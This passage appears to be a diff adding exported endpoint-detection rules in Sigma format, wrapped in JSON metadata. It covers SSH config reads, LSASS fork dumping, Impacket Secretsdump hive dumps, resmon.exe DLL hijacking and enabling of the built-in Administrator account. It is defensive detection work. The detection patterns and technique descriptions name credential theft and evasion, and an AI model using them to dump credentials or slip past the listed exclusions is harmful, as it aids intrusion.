ProcessParentImage:\n            - '/bin/bash'\n            - '/usr/bin/bash'\n        ProcessCommandLine|startswith:\n            - 'sed -ne s/^[ \\t]\\*[*] /etc/ssh/ssh_config'\n            - 'sed -ne s/^[[:blank:]]\\*[*] /etc/ssh/ssh_config'\n            - 'sed -ne s/^[[:blank:]]\\*[*]\\(.\\*\\)$/\\1/p /etc/ssh/ssh_config'\n            - 'sed -ne s/^[[:blank:]]\\*[*]\\{1,\\}\\([^#%]\\*\\)\\(#.\\*\\)\\{0,1\\}$/\\1/p /etc/ssh/ssh_config'\n            - 'awk sub(*([Gg][Ll][Oo][Bb][Aa][Ll]|[Uu][Ss][Ee][Rr])[Kk][Nn][Oo][Ww][Nn][Hh][Oo][Ss][Tt][Ss][Ff][Ii][Ll][Ee][ \\t]+*) { print $0 } /'\n            - 'sed -ne s/^[[:blank:]]*[Hh][Oo][Ss][Tt][[:blank:]*$/\\1/p /'\n\n    exclusion_remina:\n        ProcessImage|endswith: '/remmina'\n\n    exclusion_fusioninventory:\n        ProcessName: 'fusioninventory-agent'\n\n    exclusion_vscode:\n        - ProcessImage|endswith: '/usr/share/code/code'\n        - ProcessAncestors|contains: '|/snap/code/*/usr/share/code/code|'\n\n    exclusion_insights_client:\n        - ProcessParentCommandLine|contains:\n            - '/site-packages/insights_client/run.py'\n            - '/bin/insights-client-run'\n            - '/bin/redhat-access-insights'\n        - ProcessGrandparentCommandLine|contains:\n            - '/site-packages/insights_client/run.py'\n            - '/bin/insights-client-run'\n            - '/bin/redhat-access-insights'\n\n    exclusion_sosreport:\n        ProcessImage|endswith: '/python*'\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python* /usr/*bin/sosreport'\n            - '/usr/bin/python* /usr/sbin/sos report'\n\n    exclusion_aide:\n        ProcessImage|endswith: '/aide'\n\n    exclusion_lpar2rrd:\n        - ProcessParentCommandLine|endswith: '/lpar2rrd.pl'\n        - ProcessGrandparentCommandLine|endswith: '/lpar2rrd.pl'\n\n    exclusion_sidekiq_containerized:\n        - ProcessImage|endswith: '/ruby'\n          ProcessCommandLine|contains: 'sidekiq'\n          ProcessParentImage|endswith: '/containerd-shim-runc-v2'\n        - ProcessParentCommandLine: '*docker-entrypoint.sh sidekiq_node'\n\n    exclusion_qualys1:\n        - ProcessParentImage:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n        - ProcessGrandparentImage:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_qualys2:\n        # grep -Ei ^[[:blank:]]*KbdInteractiveDevices[[:blank:]]*[[:blank:]] /etc/ssh/ssh_config\n        # grep -Ei ^[[:blank:]]*GSSAPIDelegateCredentials[[:blank:]]*[[:blank:]] /etc/ssh/ssh_config\n        # grep -Ei ^[[:blank:]]*ForwardX11Trusted[[:blank:]]*[[:blank:]] /etc/ssh/ssh_config\n        # ...\n        ProcessCommandLine: 'grep -Ei ^[[:blank:]]\\**[[:blank:]]\\*[[:blank:]] /etc/ssh/ssh_config'\n        ProcessParentImage:\n            - '/usr/bin/bash'\n            - '/usr/bin/dash'\n        ProcessGrandparentImage:\n            - '/usr/bin/bash'\n            - '/usr/bin/dash'\n\n    exclusion_qualys3:\n        ProcessAncestors|contains: '|/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent|'\n\n    exclusion_zabbix:\n        - ProcessImage: '/usr/sbin/zabbix_server'\n        - ProcessParentImage:\n            - '/usr/sbin/zabbix_server'\n            - '/usr/sbin/zabbix_proxy'\n\n    exclusion_centreon:\n        ProcessImage: '/usr/bin/perl'\n        ProcessParentImage:\n            - '/usr/sbin/centengine'\n            - '/usr/bin/bash'\n        ProcessCommandLine:\n            - '*/usr/lib/centreon/plugins/*ssh*'\n            - '*/usr/lib/centreon/centreon-plugins-stable/*ssh*'\n            - '*/opt/centreon-plugins/src/centreon_plugins.pl*'\n            - '/usr/bin/perl /usr/lib/centreon/plugins/centreon_linux_ssh.pl *'\n\n    # https://stackoverflow.com/questions/6431929/groundwork-nagios-check-by-ssh-is-returning-remote-command-execution-failed#6444377\n    exclusion_nagios:\n        - ProcessImage|endswith: '/nagios/plugins/check_by_ssh'\n        - ProcessCommandLine|startswith: '/bin/bash /usr/lib64/nagios/plugins/check_ssh_disk.sh'\n\n    exclusion_wazuh:\n        - ProcessImage: '/var/ossec/bin/wazuh-syscheckd'\n        - ProcessCommandLine: '/var/ossec/bin/wazuh-syscheckd'\n\n    exclusion_tina:\n        ProcessCommandLine:\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_git:\n        ProcessImage: '/usr/bin/git'\n\n    exclusion_oxidized:\n        ProcessImage: '/usr/bin/ruby?.?'\n        ProcessCommandLine:\n            - '/usr/bin/ruby?.? /usr/bin/oxidized -c /etc/oxidized/config'\n            - '/usr/bin/ruby?.? /usr/local/bin/oxidized'\n            - '/usr/bin/ruby?.? /usr/local/bin/oxidized -c /etc/oxidized/config'\n\n    exclusion_puma:\n        # puma 3.11.4 (tcp://127.0.0.1:8888) [/]\n        ProcessCommandLine: 'puma * (tcp://*) [/]'\n\n    exclusion_rkhunter:\n        - ProcessParentCommandLine|contains: '/usr/bin/rkhunter '\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/rkhunter '\n\n    exclusion_openvas:\n        ProcessImage:\n            - '/usr/sbin/openvas'\n            - '/usr/local/sbin/openvas'\n\n    exclusion_fish:\n        ProcessImage: '/usr/bin/fish'\n        ProcessCommandLine: 'fish'\n\n    exclusion_fish_autocomplete_1:\n        ProcessImage: '/usr/bin/fish'\n        ProcessParentImage:\n            - '/usr/bin/zellij'\n            - '/home/*/.cargo/bin/zellij'\n\n    exclusion_fish_autocomplete_2:\n        ProcessImage: '/usr/bin/fish'\n        ProcessParentCommandLine: '/usr/bin/python3 /usr/bin/terminator'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_ansible_script:\n        ProcessCommandLine|contains: '/tmp/ansible-tmp-*/AnsiballZ_dnf.py'\n\n    exclusion_ansible_connection:\n        # /data/infra/ansible/bin/python3.9 /data/infra/ansible/bin/ansible-connection 1042369 303ea700-b19a-4de9-0ebc-000000000015\n        ProcessCommandLine: '/*/ansible/bin/python3.* /*/ansible/bin/ansible-connection * ????????-????-????-????-????????????'\n\n    exclusion_wezterm_gui:\n        ProcessImage: '/usr/bin/wezterm-gui'\n\n    exclusion_clamscan:\n        ProcessImage: '/usr/bin/clamscan'\n\n    exclusion_tanium:\n        ProcessParentCommandLine|startswith: '/bin/bash /opt/tanium/taniumclient/vb/tempunix_'\n\n    exclusion_containerd:\n        - ProcessImage: '/usr/bin/containerd'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/containerd|'\n\n    exclusion_x2goclient:\n        ProcessCommandLine:\n            - 'x2goclient'\n            - '/usr/bin/x2goclient'\n\n    # Many different software use a feature that will use sed -ne to read into the SSH configuration file to find values.\n    # For instance, opening a terminal and typing \"ssh sr\" and then pressing tab, will cause bash to generate the following command:\n    # sed -ne s/^[[:blank:]]*[Hh][Oo][Ss][Tt][[:blank:]]\\(.*\\)$/\\1/p /etc/ssh/ssh_config /home/user1/.ssh/config\n    # There are many of these patterns that may be used, so we preferred to simply whitelist the sed -ne commands here.\n    exclusion_autocomplete:\n        ProcessCommandLine|startswith: 'sed -ne'\n\n    exclusion_kalilab:\n        ProcessCommandLine: '/usr/bin/php /var/www/kalilab/scripts/checkServeur.php'\n\n    exclusion_augtool:\n        ProcessImage: '/usr/bin/augtool'\n\n    exclusion_rubycat:\n        ProcessImage:\n            - '/usr/bin/rubycat-sshproxy'\n            - '/usr/bin/rubycat-w3shproxy'\n\n    exclusion_tripwire:\n        ProcessImage: '/usr/sbin/tripwire'\n\n    exclusion_convert2rhel:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    exclusion_proxmox:\n        ProcessImage: '/usr/local/sbin/proxmox-backup-client'\n\n    exclusion_codium:\n        ProcessImage:\n            - '/usr/share/codium/codium'\n            - '/opt/vscodium-bin/codium'\n\n    exclusion_grep:\n        ProcessCommandLine:\n            - 'grep * /'\n            - 'grep * /etc'\n            - 'grep * /etc/'\n            - 'grep --color=auto -R *'\n\n    exclusion_awk:\n        ProcessImage:\n            - '/usr/bin/gawk'\n            - '/usr/bin/mawk'\n        ProcessCommandLine|startswith: 'awk sub(\"^[ \\t]'\n\n    exclusion_puppet:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/ruby /usr/bin/puppet agent '\n            - '/usr/bin/ruby /usr/bin/facter '\n\n    # https://blog.remirepo.net/\n    exclusion_remi:\n        ProcessImage: '/opt/remi/php83/root/usr/bin/php'\n\n    exclusion_borg:\n        ProcessCommandLine|startswith: '/usr/bin/python* /usr/bin/borg '\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "496c255d-2d49-4b7d-9693-b89edbc5e17d",
+  "rule_name": "SSH Client Configuration Read",
+  "rule_description": "Detects an attempt to read the content of the SSH client configuration file.\nThe SSH client configuration contains the security settings used by SSH.\nAn attacker can read the SSH client configuration to find weaknesses in them.\nIt is recommended to investigate the process performing the read operation and to look for other malicious action stemming from it.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1484",
+    "attack.t1563.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "496ce697-ec9d-4248-b8af-e516a75b74ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075101Z",
+  "creation_date": "2026-03-23T11:45:34.075103Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075108Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/D4stiny/ForkPlayground/",
+    "https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_memory_dump_forkdump.yml",
+  "content": "title: LSASS Process Accessed with Fork-related Privilege\nid: 496ce697-ec9d-4248-b8af-e516a75b74ec\ndescription: |\n    Detects an LSASS process access with a single privilege, required to create a fork process.\n    Adversaries may create a fork of the LSASS process and dump its memory instead of accessing original LSASS' memory to bypass security solutions.\n    It is recommended to analyze the source process for malicious behavior.\nreferences:\n    - https://github.com/D4stiny/ForkPlayground/\n    - https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2024/01/26\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetProcessImage|endswith: '\\lsass.exe'\n        GrantedAccessStr: 'PROCESS_CREATE_PROCESS'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "496ce697-ec9d-4248-b8af-e516a75b74ec",
+  "rule_name": "LSASS Process Accessed with Fork-related Privilege",
+  "rule_description": "Detects an LSASS process access with a single privilege, required to create a fork process.\nAdversaries may create a fork of the LSASS process and dump its memory instead of accessing original LSASS' memory to bypass security solutions.\nIt is recommended to analyze the source process for malicious behavior.\n",
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "498a0b65-6788-4347-b4b0-645b52399252",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618521Z",
+  "creation_date": "2026-03-23T11:45:34.618523Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618527Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py#L795",
+    "https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py#L799",
+    "https://attack.mitre.org/techniques/T1003/004/"
+  ],
+  "name": "t1003_004_secretsdump_lsa_secrets.yml",
+  "content": "title: SAM database Dumped via Impacket Secretsdump\nid: 498a0b65-6788-4347-b4b0-645b52399252\ndescription: |\n    Detects via a filename heuristic when Secretsdump.py, a tool from the Impacket framework, dumps the SAM or SECURITY hive to disk in order to parse secret keys or password hashes.\n    This tool is often used by attackers to extract sensitive information and perform credential dumping as part of lateral movement.\n    The dumped files are typically stored in the %SystemRoot%\\System32 or %Temp% directories with a random filename containing an 8-character prefix and a \".tmp\" extension (e.g., C:\\Windows\\System32\\kzqAwMLN.tmp).\n    It is recommended to investigate the source of this activity by correlating this alert with authentications and network requests.\n    Additionally, ensure that the Impacket framework is being used legitimately in your environment (for example, as a penetration testing exercise).\nreferences:\n    - https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py#L795\n    - https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py#L799\n    - https://attack.mitre.org/techniques/T1003/004/\ndate: 2020/10/06\nmodified: 2025/02/10\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.004\n    - attack.t1078\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Framework.Impacket\n    - classification.Windows.HackTool.Secretsdump\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        # this is actually performed by Remote Registry service in a svchost process :\n        #  - 2012 : shared with other services\n        #  - win10 : it's own process with commandline 'C:\\\\Windows\\\\system32\\\\svchost.exe -k localService -p -s RemoteRegistry' for instance\n        Image|endswith: '\\svchost.exe'\n        Path:\n            - '?:\\windows\\system32\\\\????????.tmp'\n            - '?:\\Windows\\Temp\\\\????????.tmp'\n\n    exclusion_legitimate_svchost:\n        - ProcessCommandLine:\n            - '?:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p -s UmRdpService'\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s ProfSvc'\n            - '?:\\Windows\\system32\\svchost.exe -k UserProfileService -p -s ProfSvc'\n            - '?:\\windows\\system32\\svchost.exe -k osrss -s osrss'\n            - '?:\\windows\\System32\\svchost.exe -k netsvcs -p -s BITS'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        - ProcessCommandLine: '?:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted'\n          Path: '?:\\Windows\\Temp\\prn*.tmp'\n\n    exclusion_known_prefix:\n        Path: '?:\\Windows\\Temp\\TMP4352$.tmp'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "498a0b65-6788-4347-b4b0-645b52399252",
+  "rule_name": "SAM database Dumped via Impacket Secretsdump",
+  "rule_description": "Detects via a filename heuristic when Secretsdump.py, a tool from the Impacket framework, dumps the SAM or SECURITY hive to disk in order to parse secret keys or password hashes.\nThis tool is often used by attackers to extract sensitive information and perform credential dumping as part of lateral movement.\nThe dumped files are typically stored in the %SystemRoot%\\System32 or %Temp% directories with a random filename containing an 8-character prefix and a \".tmp\" extension (e.g., C:\\Windows\\System32\\kzqAwMLN.tmp).\nIt is recommended to investigate the source of this activity by correlating this alert with authentications and network requests.\nAdditionally, ensure that the Impacket framework is being used legitimately in your environment (for example, as a penetration testing exercise).\n",
+  "rule_creation_date": "2020-10-06",
+  "rule_modified_date": "2025-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.004",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4996243a-ea42-46d9-a1b0-e483d412ded9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098363Z",
+  "creation_date": "2026-03-23T11:45:34.098365Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098370Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_resmon.yml",
+  "content": "title: DLL Hijacking via resmon.exe\nid: 4996243a-ea42-46d9-a1b0-e483d412ded9\ndescription: |\n    Detects potential Windows DLL Hijacking via resmon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'resmon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\PROPSYS.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4996243a-ea42-46d9-a1b0-e483d412ded9",
+  "rule_name": "DLL Hijacking via resmon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via resmon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "49bc86b5-f934-4b46-9a06-d622421cdc35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089934Z",
+  "creation_date": "2026-03-23T11:45:34.089936Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089940Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#administrator",
+    "https://attack.mitre.org/techniques/T1078/001/"
+  ],
+  "name": "t1078_001_administrator_account_enabled.yml",
+  "content": "title: Built-in Administrator Account Enabled\nid: 49bc86b5-f934-4b46-9a06-d622421cdc35\ndescription: |\n    Detects the activation of the built-in Administrator account.\n    This account is disabled by default on workstation and can be used by attackers to maintain access to victim system via a persistence.\n    It is recommended to investigate this action to determine its legitimacy and investigate any suspicious authentications using the administrator account.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#administrator\n    - https://attack.mitre.org/techniques/T1078/001/\ndate: 2023/12/12\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.initial_access\n    - attack.t1078.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.AccountManipulation\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        Source: 'Microsoft-Windows-Security-Auditing'\n        EventID: 4722\n        TargetSid|endswith: '-500'\n\n    filter_system:\n        SubjectUserSid: S-1-5-18\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "49bc86b5-f934-4b46-9a06-d622421cdc35",
+  "rule_name": "Built-in Administrator Account Enabled",
+  "rule_description": "Detects the activation of the built-in Administrator account.\nThis account is disabled by default on workstation and can be used by attackers to maintain access to victim system via a persistence.\nIt is recommended to investigate this action to determine its legitimacy and investigate any suspicious authentications using the administrator account.\n",
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "49c66d4d-9c2f-494f-8e7b-c7c7eb891011",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
